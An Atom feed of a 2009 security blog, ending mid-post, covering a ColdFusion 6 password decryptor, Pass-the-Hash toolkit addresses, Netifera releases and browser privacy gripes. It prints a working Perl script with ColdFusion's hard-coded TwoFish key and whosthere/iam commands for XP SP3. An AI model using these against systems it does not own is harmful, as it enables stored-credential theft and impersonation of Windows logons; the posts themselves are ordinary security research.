<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/atom10full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><feed xmlns="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearchrss/1.0/" xmlns:georss="http://www.georss.org/georss" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0"><id>tag:blogger.com,1999:blog-18555569</id><updated>2009-11-11T08:34:32.622-03:00</updated><title type="text">HEXALE (security. reverse engineering. stuff.)</title><subtitle type="html" /><link rel="http://schemas.google.com/g/2005#feed" type="application/atom+xml" href="http://hexale.blogspot.com/feeds/posts/default" /><link rel="alternate" type="text/html" href="http://hexale.blogspot.com/" /><link rel="hub" href="http://pubsubhubbub.appspot.com/" /><link rel="next" type="application/atom+xml" href="http://www.blogger.com/feeds/18555569/posts/default?start-index=26&amp;max-results=25" /><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email></author><generator version="7.00" uri="http://www.blogger.com">Blogger</generator><openSearch:totalResults>64</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><link rel="self" href="http://feeds.feedburner.com/Hexale" type="application/atom+xml" /><feedburner:browserFriendly>This is an XML content feed. It is intended to be viewed in a newsreader or syndicated to another site, subject to copyright and fair use.</feedburner:browserFriendly><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com" /><entry><id>tag:blogger.com,1999:blog-18555569.post-8810988656068235247</id><published>2009-10-22T11:56:00.003-03:00</published><updated>2009-10-22T12:05:59.548-03:00</updated><title type="text">How to decrypt Coldfusion v6 datasource passwords</title><content type="html">Some time ago I made a blog post about how to decrypt datasource passwords for both coldfusion v7 and v8 (see &lt;a href="http://hexale.blogspot.com/2008/07/how-to-decrypt-coldfusion-datasource.html"&gt;http://hexale.blogspot.com/2008/07/how-to-decrypt-coldfusion-datasource.html&lt;/a&gt;), this blog post is basically about the same but for ColdFusion v6.&lt;br /&gt;&lt;br /&gt;DataSource passwords in v6 are stored in \lib\neo-query.xml as they were in v7, but this time the passwords are encrypted using a 16-bytes hard-coded key using the TwoFish encryption algorithm.&lt;br /&gt;&lt;br /&gt;The code used to encrypt the passwords can be found in cfusion.jar, unzip the .jar file and look for it in \coldfusion\sql\TwoFishCryptor.class and \coldfusion\sql\TwoFish_Algorithm.class.&lt;br /&gt;&lt;br /&gt;I wrote a quick perl script to decrypt these passwords (it requires Crypt::TwoFish which you can easily download using CPAN or manually), here it is:&lt;br /&gt;&lt;br /&gt;&lt;verbatim&gt;&lt;br /&gt;&lt;br /&gt;# ColdFusion 6 neo-query.xml database passwords decryptor&lt;br /&gt;# (c) Hernan Ochoa (hernan@gmail.com)&lt;br /&gt;&lt;br /&gt;use Crypt::Twofish;&lt;br /&gt;&lt;br /&gt;$key = "\x56\xbc\xca\x37\x94\x81\xa6\x17\x09\x59\xfa\xdb\xcc\xfd\x40\x1a";&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;print "ColdFusion 6 neo-query.xml database passwords decryptor\n";&lt;br /&gt;print "by Hernan Ochoa (hernan\@gmail.com)\n\n";&lt;br /&gt;&lt;br /&gt;if (($#ARGV+1) != 1) {&lt;br /&gt;    print "syntax: decryptcf6.pl &lt;encrypted_password&gt;\n";&lt;br /&gt;    print "example: decryptcf6.pl AABBCCDDEEFF00010203040506070809\n"; &lt;br /&gt;    print "\n";&lt;br /&gt;    exit 0;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;$data = @ARGV[0];&lt;br /&gt;if ( length($data) != 32 ) {&lt;br /&gt;        print "ERROR: encrypted password must be 32-characters long!\n";&lt;br /&gt;        exit 0;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;print "encrypted password: $data\n";&lt;br /&gt;&lt;br /&gt;@chars = split '', $data;&lt;br /&gt;&lt;br /&gt;$mybytes = "";&lt;br /&gt;&lt;br /&gt;for( $i=0; $i&lt;32; $i=$i+2) {&lt;br /&gt;    $mybytes = $mybytes . chr( ( hex(@chars[$i])*16 ) + hex( @chars[$i+1]) );&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;$cipher = Crypt::Twofish-&gt;new($key);&lt;br /&gt;&lt;br /&gt;print "decrypted password: " . $cipher-&gt;decrypt($mybytes);&lt;br /&gt;print "\n";&lt;br /&gt;&lt;br /&gt;&lt;/verbatim&gt;&lt;br /&gt;&lt;br /&gt;You can also download it here: &lt;a href="http://www.hexale.org/tools/decryptcf6.tgz"&gt;http://www.hexale.org/tools/decryptcf6.tgz&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-8810988656068235247?l=hexale.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Hexale/~4/uyuXPCpFwjA" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://hexale.blogspot.com/feeds/8810988656068235247/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=18555569&amp;postID=8810988656068235247&amp;isPopup=true" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/18555569/posts/default/8810988656068235247" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/18555569/posts/default/8810988656068235247" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Hexale/~3/uyuXPCpFwjA/how-to-decrypt-coldfusion-v6-datasource.html" title="How to decrypt Coldfusion v6 datasource passwords" /><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd="http://schemas.google.com/g/2005" name="OpenSocialUserId" value="14502570679437720077" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://hexale.blogspot.com/2009/10/how-to-decrypt-coldfusion-v6-datasource.html</feedburner:origLink></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-5167319037011149945</id><published>2009-10-21T11:44:00.003-03:00</published><updated>2009-10-21T11:58:23.706-03:00</updated><title type="text">List of Addresses for the Pass-the-Hash toolkit -a switch</title><content type="html">Many people contact me frequently asking for the correct addresses to use with the -a switch of whosthere.exe and iam.exe for different versions of Windows, languages, etc.&lt;br /&gt;&lt;br /&gt;Although I will continue answering these questions, I have put together a list of addresses for different versions of lsasrv.dll to make the process a little bit easier both for me and for you.&lt;br /&gt;&lt;br /&gt;The list currently contains a low amount of addresses but It will grow eventually, your contributions are very welcome but please send me your lsasrv.dll along with the addresses because I need to verify the addresses are correct.&lt;br /&gt;&lt;br /&gt;The file containing the list of addresses is very simple:&lt;br /&gt;&lt;br /&gt;'sha1' is the sha1 hash of the lsasrv.dll. This is used to identify different versions of the DLL&lt;br /&gt;&lt;br /&gt;'File version' and 'Language' are the version and language of  lsasrv.dll&lt;br /&gt;&lt;br /&gt;'addresses' are the addresses to use with the -a switch&lt;br /&gt;&lt;br /&gt;So, basically, if you have a version of windows where whosthere.exe and iam.exe are not working, first try iam-alt.exe and whosthere-alt.exe, if that doesn't work or if you want to specifically use whosthere.exe and iam.exe calculate the sha1 hash of your lsasrv.dll file (located in c:\windows\system32\lsasrv.dll) and look it up in the list of addresses.&lt;br /&gt;&lt;br /&gt;If you can't find it there, just email me your lsasrv.dll. I'll answer with the correct addresses and will add them to the list.&lt;br /&gt;&lt;br /&gt;You can find the list of addresses here: &lt;a href="http://www.hexale.org/pth/pth_addrs.txt"&gt;http://www.hexale.org/pth/pth_addrs.txt&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-5167319037011149945?l=hexale.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Hexale/~4/PuV-Mp5rD2E" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://hexale.blogspot.com/feeds/5167319037011149945/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=18555569&amp;postID=5167319037011149945&amp;isPopup=true" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/18555569/posts/default/5167319037011149945" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/18555569/posts/default/5167319037011149945" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Hexale/~3/PuV-Mp5rD2E/list-of-addresses-for-pass-hash-toolkit.html" title="List of Addresses for the Pass-the-Hash toolkit -a switch" /><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd="http://schemas.google.com/g/2005" name="OpenSocialUserId" value="14502570679437720077" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://hexale.blogspot.com/2009/10/list-of-addresses-for-pass-hash-toolkit.html</feedburner:origLink></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-7185300500572263251</id><published>2009-05-09T10:28:00.003-03:00</published><updated>2009-05-09T10:36:24.482-03:00</updated><title type="text">fix for whosthere/iam under XP SP3 with latest updates (May 2009)</title><content type="html">In my last post I mentioned whosthere/iam were not working anymore with the latest updates for xp sp 3 (but iam-alt/whosthere-alt were still working).&lt;br /&gt;&lt;br /&gt;Ok, I actually forgot I had added the -a switch to the tools to easily overcome this scenario :).&lt;br /&gt;&lt;br /&gt;The only thing you have to do is load lsasrv.dll into IDA and run the passthehash.idc script  included in the toolkit's source package and it will give you back the addresses you need to make whosthere/iam work.&lt;br /&gt;&lt;br /&gt;For xp sp3 english with the latest patches the values are the following:&lt;br /&gt;&lt;br /&gt;75753BE0:7573FDF4:757D0C98:757D0CA0:757CFC60:757CFE54&lt;br /&gt;&lt;br /&gt;so, just run&lt;br /&gt;&lt;br /&gt;whosthere -a 75753BE0:7573FDF4:757D0C98:757D0CA0:757CFC60:757CFE54&lt;br /&gt;&lt;br /&gt;or&lt;br /&gt;&lt;br /&gt;iam.exe [other options...] -a 75753BE0:7573FDF4:757D0C98:757D0CA0:757CFC60:757CFE54&lt;br /&gt;&lt;br /&gt;and both tools will work with the latest patches on xp sp3 english.&lt;br /&gt;&lt;br /&gt;If you have a different version of windows just use the IDA .idc script or email me.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-7185300500572263251?l=hexale.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Hexale/~4/xEEMQpz9WKw" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://hexale.blogspot.com/feeds/7185300500572263251/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=18555569&amp;postID=7185300500572263251&amp;isPopup=true" title="11 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/18555569/posts/default/7185300500572263251" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/18555569/posts/default/7185300500572263251" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Hexale/~3/xEEMQpz9WKw/fix-for-whosthereiam-under-xp-sp3-with.html" title="fix for whosthere/iam under XP SP3 with latest updates (May 2009)" /><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd="http://schemas.google.com/g/2005" name="OpenSocialUserId" value="14502570679437720077" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">11</thr:total><feedburner:origLink>http://hexale.blogspot.com/2009/05/fix-for-whosthereiam-under-xp-sp3-with.html</feedburner:origLink></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-6906964895403333401</id><published>2009-04-29T15:44:00.002-03:00</published><updated>2009-04-29T15:49:49.523-03:00</updated><title type="text">whosthere/iam not working with latest xp sp3 patches</title><content type="html">Just wanted to give you a heads up:&lt;br /&gt;&lt;br /&gt;whosthere.exe and iam.exe seem to not be working with all the latest patches for xp sp3 applied. Can't really say which patch caused the problem and it doesn't matter that much anyways.&lt;br /&gt;&lt;br /&gt;The problem is apparently that the tools just can't find the memory addresses they need, based on which I assume fixing the issue is simply a matter of modifying the heuristics used to find these addresses. I'm already looking at this issue and will release a new version soon.&lt;br /&gt;&lt;br /&gt;Meanwhile,  the '-alt' versions of the tools (whosthere-alt.exe and iam-alt.exe) still work; so, if you encounter yourself with this problem, just use the -alt versions.&lt;br /&gt;&lt;br /&gt;As always, feel free to email me if you have any other questions/problems.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-6906964895403333401?l=hexale.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Hexale/~4/OqBCb_2Lkck" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://hexale.blogspot.com/feeds/6906964895403333401/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=18555569&amp;postID=6906964895403333401&amp;isPopup=true" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/18555569/posts/default/6906964895403333401" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/18555569/posts/default/6906964895403333401" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Hexale/~3/OqBCb_2Lkck/whosthereiam-not-working-with-latest-xp.html" title="whosthere/iam not working with latest xp sp3 patches" /><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd="http://schemas.google.com/g/2005" name="OpenSocialUserId" value="14502570679437720077" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://hexale.blogspot.com/2009/04/whosthereiam-not-working-with-latest-xp.html</feedburner:origLink></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-2411519020775223902</id><published>2009-04-07T11:09:00.003-03:00</published><updated>2009-04-07T11:14:52.756-03:00</updated><title type="text">Netifera Video - The Java Virtual Machine As Shellcode</title><content type="html">Check this out, netifera is getting interesting:&lt;br /&gt;&lt;br /&gt;"In this screencast we're going to look at some features we are working on for the next version of netifera.&lt;br /&gt;&lt;br /&gt;The two main things we're going to demonstrate are geographical visualiation and the netifera probe which is a deployable software agent that makes it possible to run all netifera platform tools remotely as easily as running them locally.&lt;br /&gt;&lt;br /&gt;We're going to install the probe on the netifera.com webserver, and we'll deply it like shellcode by injecting it directly into memory over the network, using an exploit".&lt;br /&gt;&lt;br /&gt;The video and more information is available at:&lt;br /&gt;&lt;a href="http://blog.netifera.com"&gt;http://blog.netifera.com&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;direck link to the video:&lt;br /&gt;&lt;a href="http://blog.netifera.com/video-the-java-virtual-machine-as-shellcode/"&gt;http://blog.netifera.com/video-the-java-virtual-machine-as-shellcode/&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-2411519020775223902?l=hexale.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Hexale/~4/rtyaLxFyCPU" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://hexale.blogspot.com/feeds/2411519020775223902/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=18555569&amp;postID=2411519020775223902&amp;isPopup=true" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/18555569/posts/default/2411519020775223902" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/18555569/posts/default/2411519020775223902" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Hexale/~3/rtyaLxFyCPU/netifera-video-java-virtual-machine-as.html" title="Netifera Video - The Java Virtual Machine As Shellcode" /><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd="http://schemas.google.com/g/2005" name="OpenSocialUserId" value="14502570679437720077" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://hexale.blogspot.com/2009/04/netifera-video-java-virtual-machine-as.html</feedburner:origLink></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-1243662425257188624</id><published>2009-03-27T21:15:00.002-03:00</published><updated>2009-03-27T21:20:50.392-03:00</updated><title type="text">Netifera v1.0 released!</title><content type="html">Check out the new version of Netifera! v1.0 has been released!.&lt;br /&gt;&lt;br /&gt;Next is a description of the new features of this release:&lt;br /&gt;&lt;br /&gt;&lt;span class="il"&gt;Netifera&lt;/span&gt; is a new modular open source platform for creating network&lt;br /&gt;security tools. This project provides many advantages for both&lt;br /&gt;security developers and researchers who want to implement new tools as&lt;br /&gt;well as the community of users of these tools.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://netifera.com/download" target="_blank"&gt;http://&lt;span class="il"&gt;netifera&lt;/span&gt;.com/download&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Tools&lt;br /&gt;&lt;br /&gt;* Full IPv6 support&lt;br /&gt;* TCP and UDP network scanning&lt;br /&gt;* Service detection&lt;br /&gt;* Operating system identification&lt;br /&gt;* Reverse DNS scanning&lt;br /&gt;* DNS name brute forcing&lt;br /&gt;* DNS zone transfer information gathering&lt;br /&gt;* Geographical information about network addresses&lt;br /&gt;* Authentication brute force attack (against HTTP, FTP,IMAP and POP3)&lt;br /&gt;* Web crawler discovers applications, collects email addresses and&lt;br /&gt;adds the site structure to the model&lt;br /&gt;* Integrated terminal for connecting to and interacting with network services&lt;br /&gt;&lt;br /&gt;Passive Tools&lt;br /&gt;&lt;br /&gt;* Modular packet capture service&lt;br /&gt;* Capture packets on multiple interfaces simultaneously&lt;br /&gt;* Parse ’pcap’ format capture files as input to sniffing modules&lt;br /&gt;* HTTP traffic analysis&lt;br /&gt;* DNS information gathering from captured responses&lt;br /&gt;* Network stack fingerprinting&lt;br /&gt;* Service detection from captured banners and protocol packets&lt;br /&gt;* Client application detection&lt;br /&gt;* Credential sniffing for many protocols&lt;br /&gt;&lt;br /&gt;Data Model&lt;br /&gt;&lt;br /&gt;All information discovered by the &lt;span class="il"&gt;netifera&lt;/span&gt; platform is persistently&lt;br /&gt;stored in a workspace database. Our extension design allows for&lt;br /&gt;developers to easily create their own data types and integrate them&lt;br /&gt;into the platform.&lt;br /&gt;&lt;br /&gt;User Interface&lt;br /&gt;&lt;br /&gt;The platform provides an intuitive and professional quality graphical&lt;br /&gt;user interface for using the tools written for our platform and&lt;br /&gt;navigating the information they produce. Different tasks in our&lt;br /&gt;application such as sniffing information from the network, or actively&lt;br /&gt;collecting information by scanning networks, or exploring the local&lt;br /&gt;environment of a remotely deployed probe (coming soon! ) each have a&lt;br /&gt;specialized configuration of the user interface called a ’perspective’&lt;br /&gt;&lt;br /&gt;Programming API&lt;br /&gt;&lt;br /&gt;The &lt;span class="il"&gt;netifera&lt;/span&gt; platform brings together high quality programming APIs&lt;br /&gt;for tasks such as:&lt;br /&gt;&lt;br /&gt; High performance asynchronous socket connection and communication&lt;br /&gt; Link level packet capture and raw socket injection&lt;br /&gt; 802.11 monitor mode packet capture and injection (coming soon! )&lt;br /&gt; Network protocol header construction and analysis (ethernet, ip, tcp, etc...)&lt;br /&gt; Application layer protocol libraries (http, dns, ftp, etc...)&lt;br /&gt;&lt;br /&gt;Download &lt;span class="il"&gt;netifera&lt;/span&gt; 1.0 for LInux and Mac OS X from:&lt;br /&gt;&lt;br /&gt; &lt;a href="http://netifera.com/download" target="_blank"&gt;http://&lt;span class="il"&gt;netifera&lt;/span&gt;.com/download&lt;/a&gt;&lt;br /&gt;&lt;br /&gt; * Important * Remove older versions before installing&lt;br /&gt;If you have any previous version installed, you must delete the entire&lt;br /&gt;directory (or move it out of the way) before installing this version.&lt;br /&gt;This version is not compatible with the workspaces created with&lt;br /&gt;previous beta versions so you should remove the .&lt;span class="il"&gt;netifera&lt;/span&gt; folder from your home&lt;br /&gt;directory (rm -rf ~/.&lt;span class="il"&gt;netifera&lt;/span&gt;)&lt;br /&gt;&lt;br /&gt;Contact us&lt;br /&gt;We need your feedback to improve &lt;span class="il"&gt;netifera&lt;/span&gt;. If you have bugs to report,&lt;br /&gt;trace backs, screen captures of failures, .log files,  or comments&lt;br /&gt;about anything that annoys you while using &lt;span class="il"&gt;netifera&lt;/span&gt; send them to:&lt;br /&gt;&lt;br /&gt;&lt;a href="mailto:bugs@netifera.com"&gt;bugs@&lt;span class="il"&gt;netifera&lt;/span&gt;.com&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Thank you!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-1243662425257188624?l=hexale.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Hexale/~4/n6RzmmWrK3g" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://hexale.blogspot.com/feeds/1243662425257188624/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=18555569&amp;postID=1243662425257188624&amp;isPopup=true" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/18555569/posts/default/1243662425257188624" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/18555569/posts/default/1243662425257188624" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Hexale/~3/n6RzmmWrK3g/netifera-v10-released.html" title="Netifera v1.0 released!" /><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd="http://schemas.google.com/g/2005" name="OpenSocialUserId" value="14502570679437720077" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://hexale.blogspot.com/2009/03/netifera-v10-released.html</feedburner:origLink></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-4868878158488536577</id><published>2009-01-23T16:55:00.005-02:00</published><updated>2009-01-23T17:14:11.983-02:00</updated><title type="text">Microsoft wants to listen to music with me</title><content type="html">I just installed Windows 7 Beta, I run Windows Media Player for the first time and I get the following dialog:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_sUXOjNfwj9k/SXoTKKmyeNI/AAAAAAAAACk/jRenxcneXEE/s1600-h/wmp_small1_marked.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 263px;" src="http://3.bp.blogspot.com/_sUXOjNfwj9k/SXoTKKmyeNI/AAAAAAAAACk/jRenxcneXEE/s320/wmp_small1_marked.png" alt="" id="BLOGGER_PHOTO_ID_5294565377294104786" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;The default option is 'Recommended Settings' but I notice that it says 'send usage data from the Player to Microsoft' and I go 'nah..' and choose 'Custom settings' because it says 'Customize privacy,..'&lt;br /&gt;&lt;br /&gt;I click 'Next' and the following dialog appears:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_sUXOjNfwj9k/SXoUA1us1zI/AAAAAAAAACs/jLoP63GLzaw/s1600-h/wmp_small2_mark.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 263px;" src="http://4.bp.blogspot.com/_sUXOjNfwj9k/SXoUA1us1zI/AAAAAAAAACs/jLoP63GLzaw/s320/wmp_small2_mark.png" alt="" id="BLOGGER_PHOTO_ID_5294566316582950706" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;But mhmmm....I can't uncheck the 'I want to help make Microsoft software and services even better by sending Player usage data to Microsoft'...&lt;br /&gt;&lt;br /&gt;I like it how they try to sell it to you... 'come on! help Microsoft make this software even better! helping is good! help! if you help you're a good person! heeeeeeeelp!' ...&lt;br /&gt;&lt;br /&gt;I guess this is a 'conditioned' beta, you get to play with the software but only if you are willing to 'help'.. :) which is good, right? :)&lt;br /&gt;&lt;br /&gt;It's a silly thing anyways, but I thought it was funny.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-4868878158488536577?l=hexale.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Hexale/~4/rUtQerUDmDM" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://hexale.blogspot.com/feeds/4868878158488536577/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=18555569&amp;postID=4868878158488536577&amp;isPopup=true" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/18555569/posts/default/4868878158488536577" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/18555569/posts/default/4868878158488536577" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Hexale/~3/rUtQerUDmDM/microsoft-wants-to-listen-music-with-me.html" title="Microsoft wants to listen to music with me" /><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd="http://schemas.google.com/g/2005" name="OpenSocialUserId" value="14502570679437720077" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/_sUXOjNfwj9k/SXoTKKmyeNI/AAAAAAAAACk/jRenxcneXEE/s72-c/wmp_small1_marked.png" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://hexale.blogspot.com/2009/01/microsoft-wants-to-listen-music-with-me.html</feedburner:origLink></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-8767757494698168446</id><published>2008-12-23T15:24:00.005-02:00</published><updated>2008-12-23T15:39:47.187-02:00</updated><title type="text">Firefox and client certificates: a privacy issue</title><content type="html">There's something disturbing in the way Firefox handles client certificates in some situtations; in fact I just sent an email to Mozilla Security a few days ago and the person who answered me verified they knew about it and in fact they had issued an advisory some time ago, but it seems I missed it, so my bad.&lt;br /&gt;&lt;p&gt;This person kindly provided me the following links which are very informative:&lt;br /&gt;&lt;/p&gt;&lt;p&gt;discussion of the bug behind the behaviour:&lt;br /&gt;&lt;a href="http://www.mozilla.org/security/announce/2008/mfsa2008-17.html"&gt;http://www.mozilla.org/security/announce/2008/mfsa2008-17.html&lt;/a&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;An article that attemps to describe the algorithm used by Firefox for picking the cert and ways to improve it&lt;br /&gt;&lt;a href="http://www.mozilla.org/security/announce/2008/mfsa2008-17.html"&gt;http://www.mozilla.org/security/announce/2008/mfsa2008-17.html&lt;/a&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;developers newsgroup where you can talk about certificate issues:&lt;br /&gt;&lt;a href="http://news.mozilla.org/mozilla.dev.tech.crypto"&gt;http://news.mozilla.org/mozilla.dev.tech.crypto&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;There're still things, in the last article specially, that I think do not match what happens in reality, but oh well.. maybe in some other post, I still need to check some things before saying anything more.&lt;br /&gt;&lt;br /&gt;Thanks to Mozilla Security for their prompt response and the links.&lt;br /&gt;&lt;br /&gt;So, here's the thing:&lt;br /&gt;&lt;br /&gt;Let's assume you use client cerficates for some web sites and you have imported them into Firefox.&lt;br /&gt;&lt;br /&gt;By default, if a remote https server requires client certificates, Firefox is setup to display a dialog box listing the certificates you have in Firefox's certificate store and let you choose which one to present to the remote https server.&lt;br /&gt;&lt;br /&gt;This is the default option and can be found in the Edit-&gt;Preferences-&gt;Advanced-&gt;Encryption Tab under 'Certificates' (or Tools-&gt;Options-&gt;Advanced-&gt;Encryption if you're running Windows).&lt;br /&gt;&lt;br /&gt;The option is called 'Ask me every time'.&lt;br /&gt;&lt;/p&gt;&lt;p&gt;The problem with using this option is that sometimes with some web servers, Firefox will ask you again and again and again which certificate to use. For example, if you're using VMWare server and accessing it thru the web interface, you'll have this problem.&lt;br /&gt;&lt;br /&gt;According to the person I 'talked' to at Mozilla Security this is because the servers are misconfigured, do not cache the SSL session and re-request the certificate on every connection; which sounds reasonable (I think).&lt;br /&gt;&lt;br /&gt;The thing is that, in these situations, it is impossible to keep the 'Ask me every time' option enabled.. having the 'choose certificate' dialog appearing every 2 minutes while you're trying to do somethings drives you crazy..&lt;br /&gt;&lt;br /&gt;I'm not saying it is Firefox's fault , I'm saying it's just impossible to keep that option enabled in these cases.&lt;br /&gt;&lt;br /&gt;So, what can you do? You can go and change the option to be 'Select one automatically'.&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_sUXOjNfwj9k/SVEgl2BrEJI/AAAAAAAAACc/n2pNt8-qUKc/s1600-h/selectcertauto.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 301px;" src="http://2.bp.blogspot.com/_sUXOjNfwj9k/SVEgl2BrEJI/AAAAAAAAACc/n2pNt8-qUKc/s320/selectcertauto.png" 